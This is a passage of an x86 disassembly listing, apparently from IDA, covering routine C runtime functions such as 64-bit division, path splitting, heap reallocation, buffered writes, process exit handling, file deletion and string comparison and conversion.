ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4170B8 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_4170C1 ; --------------------------------------------------------------------------- loc_4170B8: ; CODE XREF: sub_417033+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_4170C1: ; CODE XREF: sub_417033+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_46B6CC call sub_41C639 add esp, 20h test eax, eax jz short loc_417090 cmp eax, esi jnz short loc_4170EC movzx eax, [ebp+var_4] jmp short loc_4170F9 ; --------------------------------------------------------------------------- loc_4170EC: ; CODE XREF: sub_417033+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4170F9: ; CODE XREF: sub_417033+16j ; sub_417033+1Fj ... pop edi pop esi pop ebx leave retn sub_417033 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417100 proc near ; CODE XREF: sub_40A922+3Dp ; sub_40C10D+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_417121 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_417171 ; --------------------------------------------------------------------------- loc_417121: ; CODE XREF: sub_417100+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41712F: ; CODE XREF: sub_417100+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41712F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41715A cmp edx, [esp+4+arg_4] ja short loc_41715A jb short loc_417162 cmp eax, [esp+4+arg_0] jbe short loc_417162 loc_41715A: ; CODE XREF: sub_417100+4Aj ; sub_417100+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_417162: ; CODE XREF: sub_417100+52j ; sub_417100+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_417171: ; CODE XREF: sub_417100+1Fj pop ebx retn 10h sub_417100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417180 proc near ; CODE XREF: sub_40A922+24p ; sub_40C10D+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_4171A2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4171E3 ; --------------------------------------------------------------------------- loc_4171A2: ; CODE XREF: sub_417180+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4171B0: ; CODE XREF: sub_417180+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4171B0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4171DE cmp edx, [esp+8+arg_4] ja short loc_4171DE jb short loc_4171DF cmp eax, [esp+8+arg_0] jbe short loc_4171DF loc_4171DE: ; CODE XREF: sub_417180+4Ej ; sub_417180+54j dec esi loc_4171DF: ; CODE XREF: sub_417180+56j ; sub_417180+5Cj xor edx, edx mov eax, esi loc_4171E3: ; CODE XREF: sub_417180+20j pop esi pop ebx retn 10h sub_417180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171E8 proc near ; CODE XREF: sub_40A9D8+1E3p ; sub_40C574+104p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_415B10 cmp eax, 1 pop ecx jb short loc_417223 cmp byte ptr [ebx+1], 3Ah jnz short loc_417223 mov esi, [ebp+arg_4] test esi, esi jz short loc_41721F push 2 push ebx push esi call sub_41CC3D add esp, 0Ch and byte ptr [esi+2], 0 loc_41721F: ; CODE XREF: sub_4171E8+25j inc ebx inc ebx jmp short loc_41722D ; --------------------------------------------------------------------------- loc_417223: ; CODE XREF: sub_4171E8+18j ; sub_4171E8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41722D and byte ptr [eax], 0 loc_41722D: ; CODE XREF: sub_4171E8+39j ; sub_4171E8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_4172A5 loc_417240: ; CODE XREF: sub_4171E8+87j mov cl, [eax] movzx edx, cl test byte_46CB81[edx], 4 jz short loc_417251 inc eax jmp short loc_41726B ; --------------------------------------------------------------------------- loc_417251: ; CODE XREF: sub_4171E8+64j cmp cl, 2Fh jz short loc_417265 cmp cl, 5Ch jz short loc_417265 cmp cl, 2Eh jnz short loc_41726B mov [ebp+var_4], eax jmp short loc_41726B ; --------------------------------------------------------------------------- loc_417265: ; CODE XREF: sub_4171E8+6Cj ; sub_4171E8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41726B: ; CODE XREF: sub_4171E8+67j ; sub_4171E8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_417240 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_4172A5 cmp [ebp+arg_8], 0 jz short loc_4172A0 sub edi, ebx cmp edi, esi jb short loc_417289 mov edi, esi loc_417289: ; CODE XREF: sub_4171E8+9Dj push edi push ebx push [ebp+arg_8] call sub_41CC3D mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4172A0: ; CODE XREF: sub_4171E8+97j mov ebx, [ebp+arg_4] jmp short loc_4172AF ; --------------------------------------------------------------------------- loc_4172A5: ; CODE XREF: sub_4171E8+56j ; sub_4171E8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_4172AF and byte ptr [ecx], 0 loc_4172AF: ; CODE XREF: sub_4171E8+BBj ; sub_4171E8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_417302 cmp edi, ebx jb short loc_417302 cmp [ebp+arg_C], 0 jz short loc_4172DF sub edi, ebx cmp edi, esi jb short loc_4172C8 mov edi, esi loc_4172C8: ; CODE XREF: sub_4171E8+DCj push edi push ebx push [ebp+arg_C] call sub_41CC3D mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4172DF: ; CODE XREF: sub_4171E8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41732A sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4172EF mov esi, eax loc_4172EF: ; CODE XREF: sub_4171E8+103j push esi push [ebp+var_4] push edi call sub_41CC3D add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41732A ; --------------------------------------------------------------------------- loc_417302: ; CODE XREF: sub_4171E8+CCj ; sub_4171E8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_417320 sub eax, ebx cmp eax, esi jnb short loc_417311 mov esi, eax loc_417311: ; CODE XREF: sub_4171E8+125j push esi push ebx push edi call sub_41CC3D add esp, 0Ch and byte ptr [esi+edi], 0 loc_417320: ; CODE XREF: sub_4171E8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41732A and byte ptr [eax], 0 loc_41732A: ; CODE XREF: sub_4171E8+FCj ; sub_4171E8+118j ... pop edi pop esi pop ebx leave retn sub_4171E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41732F proc near ; CODE XREF: sub_40B0EC+19p ; sub_412B8B+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_417D6C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41736D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41737A ; --------------------------------------------------------------------------- loc_41736D: ; CODE XREF: sub_41732F+34j lea eax, [ebp+var_20] push eax push 0 call sub_417C57 pop ecx pop ecx loc_41737A: ; CODE XREF: sub_41732F+3Cj mov eax, esi pop esi leave retn sub_41732F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41737F proc near ; CODE XREF: sub_40B363+2Cp ; sub_416663+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41739A push [ebp+arg_4] call sub_415BE9 pop ecx jmp loc_41761A ; --------------------------------------------------------------------------- loc_41739A: ; CODE XREF: sub_41737F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_4173AF push [ebp+arg_0] call sub_415C9B pop ecx jmp loc_417618 ; --------------------------------------------------------------------------- loc_4173AF: ; CODE XREF: sub_41737F+20j mov eax, dword_46CCA8 cmp eax, 3 jnz loc_4174BF loc_4173BD: ; CODE XREF: sub_41737F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41749B push [ebp+arg_0] call sub_418CBD mov ebx, eax pop ecx test ebx, ebx jz loc_417476 cmp esi, dword_46CCA0 ja short loc_41742F mov edi, [ebp+arg_0] push esi push edi push ebx call sub_4194C6 add esp, 0Ch test eax, eax jnz short loc_41742B push esi call sub_419011 mov edi, eax pop ecx test edi, edi jz short loc_41742F mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41740F mov eax, esi loc_41740F: ; CODE XREF: sub_41737F+8Cj push eax push ebx push edi call sub_4153F0 push ebx call sub_418CBD push [ebp+arg_0] mov ebx, eax push ebx call sub_418CE8 add esp, 18h loc_41742B: ; CODE XREF: sub_41737F+74j test edi, edi jnz short loc_417472 loc_41742F: ; CODE XREF: sub_41737F+62j ; sub_41737F+81j test esi, esi jnz short loc_417436 push 1 pop esi loc_417436: ; CODE XREF: sub_41737F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_46CCA4 call dword_42114C ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_417472 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41745E mov eax, esi loc_41745E: ; CODE XREF: sub_41737F+DBj push eax push ecx push edi call sub_4153F0 push [ebp+arg_0] push ebx call sub_418CE8 add esp, 14h loc_417472: ; CODE XREF: sub_41737F+AEj ; sub_41737F+D0j test ebx, ebx jnz short loc_417497 loc_417476: ; CODE XREF: sub_41737F+56j test esi, esi jnz short loc_41747D push 1 pop esi loc_41747D: ; CODE XREF: sub_41737F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_46CCA4 call dword_421160 ; RtlReAllocateHeap mov edi, eax loc_417497: ; CODE XREF: sub_41737F+F5j test edi, edi jnz short loc_4174B8 loc_41749B: ; CODE XREF: sub_41737F+43j cmp dword_46B694, 0 jz short loc_4174B8 push esi call sub_418A88 test eax, eax pop ecx jnz loc_4173BD jmp loc_417618 ; --------------------------------------------------------------------------- loc_4174B8: ; CODE XREF: sub_41737F+11Aj ; sub_41737F+123j ... mov eax, edi jmp loc_41761A ; --------------------------------------------------------------------------- loc_4174BF: ; CODE XREF: sub_41737F+38j cmp eax, 2 jnz loc_4175DA cmp esi, 0FFFFFFE0h ja short loc_4174DC test esi, esi jbe short loc_4174D9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4174DC ; --------------------------------------------------------------------------- loc_4174D9: ; CODE XREF: sub_41737F+150j push 10h pop esi loc_4174DC: ; CODE XREF: sub_41737F+14Cj ; sub_41737F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_4175BC lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_419A18 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_4175A0 cmp esi, dword_43A164 jnb short loc_417564 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_419DE0 add esp, 10h test eax, eax jz short loc_41752A mov edi, [ebp+arg_0] jmp short loc_41755C ; --------------------------------------------------------------------------- loc_41752A: ; CODE XREF: sub_41737F+1A4j push edi call sub_419AB4 mov edi, eax pop ecx test edi, edi jz short loc_417564 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_417543 mov eax, esi loc_417543: ; CODE XREF: sub_41737F+1C0j push eax push [ebp+arg_0] push edi call sub_4153F0 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_419A6F add esp, 18h loc_41755C: ; CODE XREF: sub_41737F+1A9j test edi, edi jnz loc_4174B8 loc_417564: ; CODE XREF: sub_41737F+18Bj ; sub_41737F+1B6j push esi push 0 push dword_46CCA4 call dword_42114C ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_4175BC movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_417585 mov eax, esi loc_417585: ; CODE XREF: sub_41737F+202j push eax push [ebp+arg_0] push edi call sub_4153F0 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_419A6F add esp, 18h jmp short loc_4175B4 ; --------------------------------------------------------------------------- loc_4175A0: ; CODE XREF: sub_41737F+17Fj push esi push [ebp+arg_0] push 0 push dword_46CCA4 call dword_421160 ; RtlReAllocateHeap mov edi, eax loc_4175B4: ; CODE XREF: sub_41737F+21Fj test edi, edi jnz loc_4174B8 loc_4175BC: ; CODE XREF: sub_41737F+162j ; sub_41737F+1F8j cmp dword_46B694, 0 jz loc_4174B8 push esi call sub_418A88 test eax, eax pop ecx jnz loc_4174DC jmp short loc_417618 ; --------------------------------------------------------------------------- loc_4175DA: ; CODE XREF: sub_41737F+143j ; sub_41737F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_417604 test esi, esi jnz short loc_4175E8 push 1 pop esi loc_4175E8: ; CODE XREF: sub_41737F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_46CCA4 call dword_421160 ; RtlReAllocateHeap test eax, eax jnz short loc_41761A loc_417604: ; CODE XREF: sub_41737F+260j cmp dword_46B694, 0 jz short loc_41761A push esi call sub_418A88 test eax, eax pop ecx jnz short loc_4175DA loc_417618: ; CODE XREF: sub_41737F+2Bj ; sub_41737F+134j ... xor eax, eax loc_41761A: ; CODE XREF: sub_41737F+16j ; sub_41737F+13Bj ... pop edi pop esi pop ebx leave retn sub_41737F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41761F proc near ; CODE XREF: sub_40B9BC+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_417643 xor eax, eax jmp loc_417710 ; --------------------------------------------------------------------------- loc_417643: ; CODE XREF: sub_41761F+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_417656 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41765D ; --------------------------------------------------------------------------- loc_417656: ; CODE XREF: sub_41761F+2Dj mov [ebp+arg_C], 1000h loc_41765D: ; CODE XREF: sub_41761F+35j ; sub_41761F+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_417691 mov eax, [esi+4] test eax, eax jz short loc_417691 cmp ebx, eax mov edi, ebx jb short loc_417677 mov edi, eax loc_417677: ; CODE XREF: sub_41761F+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_4153F0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4176D7 ; --------------------------------------------------------------------------- loc_417691: ; CODE XREF: sub_41761F+47j ; sub_41761F+4Ej cmp ebx, [ebp+arg_C] jb short loc_4176DC test ecx, ecx jz short loc_4176A5 push esi call sub_418704 test eax, eax pop ecx jnz short loc_41771E loc_4176A5: ; CODE XREF: sub_41761F+79j cmp [ebp+arg_C], 0 jz short loc_4176B8 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_4176BA ; --------------------------------------------------------------------------- loc_4176B8: ; CODE XREF: sub_41761F+8Aj mov edi, ebx loc_4176BA: ; CODE XREF: sub_41761F+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41CCC7 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_417715 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_417715 loc_4176D7: ; CODE XREF: sub_41761F+70j mov edi, [ebp+var_4] jmp short loc_417705 ; --------------------------------------------------------------------------- loc_4176DC: ; CODE XREF: sub_41761F+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_417C57 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41771E inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_417705 mov [ebp+arg_C], 1 loc_417705: ; CODE XREF: sub_41761F+BBj ; sub_41761F+DDj test ebx, ebx jnz loc_41765D mov eax, [ebp+arg_8] loc_417710: ; CODE XREF: sub_41761F+1Fj ; sub_41761F+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417715: ; CODE XREF: sub_41761F+ADj ; sub_41761F+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_417720 ; --------------------------------------------------------------------------- loc_41771E: ; CODE XREF: sub_41761F+84j ; sub_41761F+CFj mov eax, edi loc_417720: ; CODE XREF: sub_41761F+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_417710 sub_41761F endp ; =============== S U B R O U T I N E ======================================= sub_417729 proc near ; CODE XREF: sub_40C0F3+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_421094 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_417749 call dword_421088 ; RtlGetLastWin32Error push eax call sub_41CE74 pop ecx loc_417745: ; CODE XREF: sub_417729+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417749: ; CODE XREF: sub_417729+Dj test al, 1 jz short loc_41776A test [esp+arg_4], 2 jz short loc_41776A mov dword_46B634, 0Dh mov dword_46B638, 5 jmp short loc_417745 ; --------------------------------------------------------------------------- loc_41776A: ; CODE XREF: sub_417729+22j ; sub_417729+29j xor eax, eax retn sub_417729 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417770 proc near ; CODE XREF: sub_40C21C+5Fp ; sub_40C21C+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_417791 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_417791: ; CODE XREF: sub_417770+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_4177AD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_4177AD: ; CODE XREF: sub_417770+27j or eax, eax jnz short loc_4177C9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41780A ; --------------------------------------------------------------------------- loc_4177C9: ; CODE XREF: sub_417770+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4177D7: ; CODE XREF: sub_417770+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4177D7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_417805 cmp edx, [esp+0Ch+arg_4] ja short loc_417805 jb short loc_417806 cmp eax, [esp+0Ch+arg_0] jbe short loc_417806 loc_417805: ; CODE XREF: sub_417770+85j ; sub_417770+8Bj dec esi loc_417806: ; CODE XREF: sub_417770+8Dj ; sub_417770+93j xor edx, edx mov eax, esi loc_41780A: ; CODE XREF: sub_417770+57j dec edi jnz short loc_417814 neg edx neg eax sbb edx, 0 loc_417814: ; CODE XREF: sub_417770+9Bj pop ebx pop esi pop edi retn 10h sub_417770 endp ; =============== S U B R O U T I N E ======================================= sub_41781A proc near ; CODE XREF: seg001:00417BABp mov eax, off_437EEC test eax, eax jz short loc_417825 call eax ; sub_415DD3 loc_417825: ; CODE XREF: sub_41781A+7j push offset dword_423028 push offset dword_423014 call sub_417902 push offset dword_423010 push offset dword_423000 call sub_417902 add esp, 10h retn sub_41781A endp ; =============== S U B R O U T I N E ======================================= sub_417847 proc near ; CODE XREF: seg001:00417BEAp arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_417869 add esp, 0Ch retn sub_417847 endp ; =============== S U B R O U T I N E ======================================= sub_417858 proc near ; CODE XREF: seg001:00417C09p ; sub_417C0E+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_417869 add esp, 0Ch retn sub_417858 endp ; =============== S U B R O U T I N E ======================================= sub_417869 proc near ; CODE XREF: sub_417847+8p ; sub_417858+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_46B67C, edi jnz short loc_417886 push [esp+4+arg_0] call dword_421104 ; GetCurrentProcess push eax call dword_421140 ; TerminateProcess loc_417886: ; CODE XREF: sub_417869+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_46B678, edi mov byte_46B674, bl jnz short loc_4178DA mov eax, dword_46CCBC test eax, eax jz short loc_4178C9 mov ecx, dword_46CCB8 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_4178C8 loc_4178B5: ; CODE XREF: sub_417869+5Dj mov eax, [esi] test eax, eax jz short loc_4178BD call eax loc_4178BD: ; CODE XREF: sub_417869+50j sub esi, 4 cmp esi, dword_46CCBC jnb short loc_4178B5 loc_4178C8: ; CODE XREF: sub_417869+4Aj pop esi loc_4178C9: ; CODE XREF: sub_417869+3Cj push offset dword_423034 push offset dword_42302C call sub_417902 pop ecx pop ecx loc_4178DA: ; CODE XREF: sub_417869+33j push offset dword_423040 push offset dword_423038 call sub_417902 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_417900 push [esp+4+arg_0] mov dword_46B67C, edi call dword_421114 ; ExitProcess loc_417900: ; CODE XREF: sub_417869+85j pop edi retn sub_417869 endp ; =============== S U B R O U T I N E ======================================= sub_417902 proc near ; CODE XREF: sub_41781A+15p ; sub_41781A+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_417907: ; CODE XREF: sub_417902+16j cmp esi, [esp+4+arg_4] jnb short loc_41791A mov eax, [esi] test eax, eax jz short loc_417915 call eax loc_417915: ; CODE XREF: sub_417902+Fj add esi, 4 jmp short loc_417907 ; --------------------------------------------------------------------------- loc_41791A: ; CODE XREF: sub_417902+9j pop esi retn sub_417902 endp ; =============== S U B R O U T I N E ======================================= sub_41791C proc near ; CODE XREF: sub_40CD3A+29D7p arg_0 = dword ptr 4 push [esp+arg_0] call dword_421118 ; DeleteFileA test eax, eax jnz short loc_417932 call dword_421088 ; RtlGetLastWin32Error jmp short loc_417934 ; --------------------------------------------------------------------------- loc_417932: ; CODE XREF: sub_41791C+Cj xor eax, eax loc_417934: ; CODE XREF: sub_41791C+14j test eax, eax jz short loc_417943 push eax call sub_41CE74 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417943: ; CODE XREF: sub_41791C+1Aj xor eax, eax retn sub_41791C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417950 proc near ; CODE XREF: sub_4129E5+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41799C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41799D test eax, 1 jz short loc_41797D mov cl, [esi] cmp cl, [edi] jnz short loc_4179CA inc esi inc edi dec eax jz short loc_41799A loc_41797D: ; CODE XREF: sub_417950+20j ; sub_417950+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_4179CA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_4179CA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41797D loc_41799A: ; CODE XREF: sub_417950+2Bj ; sub_417950+84j pop edi pop esi locret_41799C: ; CODE XREF: sub_417950+6j retn ; --------------------------------------------------------------------------- loc_41799D: ; CODE XREF: sub_417950+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_4179D2 repe cmpsd jz short loc_4179D2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_4179C5 cmp ch, dh jnz short loc_4179C5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_4179C5 cmp ch, dh loc_4179C5: ; CODE XREF: sub_417950+63j ; sub_417950+67j ... mov eax, 0 loc_4179CA: ; CODE XREF: sub_417950+26j ; sub_417950+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4179D2: ; CODE XREF: sub_417950+55j ; sub_417950+59j test eax, eax jz short loc_41799A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_4179C5 dec eax jz short loc_4179F9 cmp dh, ch jnz short loc_4179C5 dec eax jz short loc_4179F9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_4179C5 dec eax loc_4179F9: ; CODE XREF: sub_417950+8Fj ; sub_417950+96j pop edi pop esi retn sub_417950 endp ; =============== S U B R O U T I N E ======================================= sub_4179FC proc near ; CODE XREF: sub_413B27+55p ; sub_414500+238p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_417A13 loc_417A09: ; CODE XREF: sub_4179FC+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_417A09 loc_417A13: ; CODE XREF: sub_4179FC+Bj sub eax, ecx sar eax, 1 dec eax retn sub_4179FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A19 proc near ; CODE XREF: sub_413B27+19p ; sub_413B27+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_417AE6 mov edi, [ebp+arg_8] cmp edi, esi jz loc_417B13 cmp dword_46B6CC, esi jnz short loc_417A6A cmp edi, esi jbe loc_417B13 loc_417A49: ; CODE XREF: sub_417A19+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_417B13 inc eax inc edx inc edx cmp eax, edi jb short loc_417A49 jmp loc_417B13 ; --------------------------------------------------------------------------- loc_417A6A: ; CODE XREF: sub_417A19+26j mov ebx, [ebp+arg_4] mov esi, dword_421064 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_46B6DC call esi ; MultiByteToWideChar test eax, eax jnz loc_417B12 call dword_421088 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_417AA4 loc_417A95: ; CODE XREF: sub_417A19+CBj ; sub_417A19+F7j mov dword_46B634, 2Ah or eax, 0FFFFFFFFh jmp short loc_417B13 ; --------------------------------------------------------------------------- loc_417AA4: ; CODE XREF: sub_417A19+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_417AAC: ; CODE XREF: sub_417A19+B3j mov cl, [eax] test cl, cl jz short loc_417ACE mov edx, off_437F20 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_417AC3 inc eax loc_417AC3: ; CODE XREF: sub_417A19+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_417AAC loc_417ACE: ; CODE XREF: sub_417A19+97j push edi sub eax, ebx push 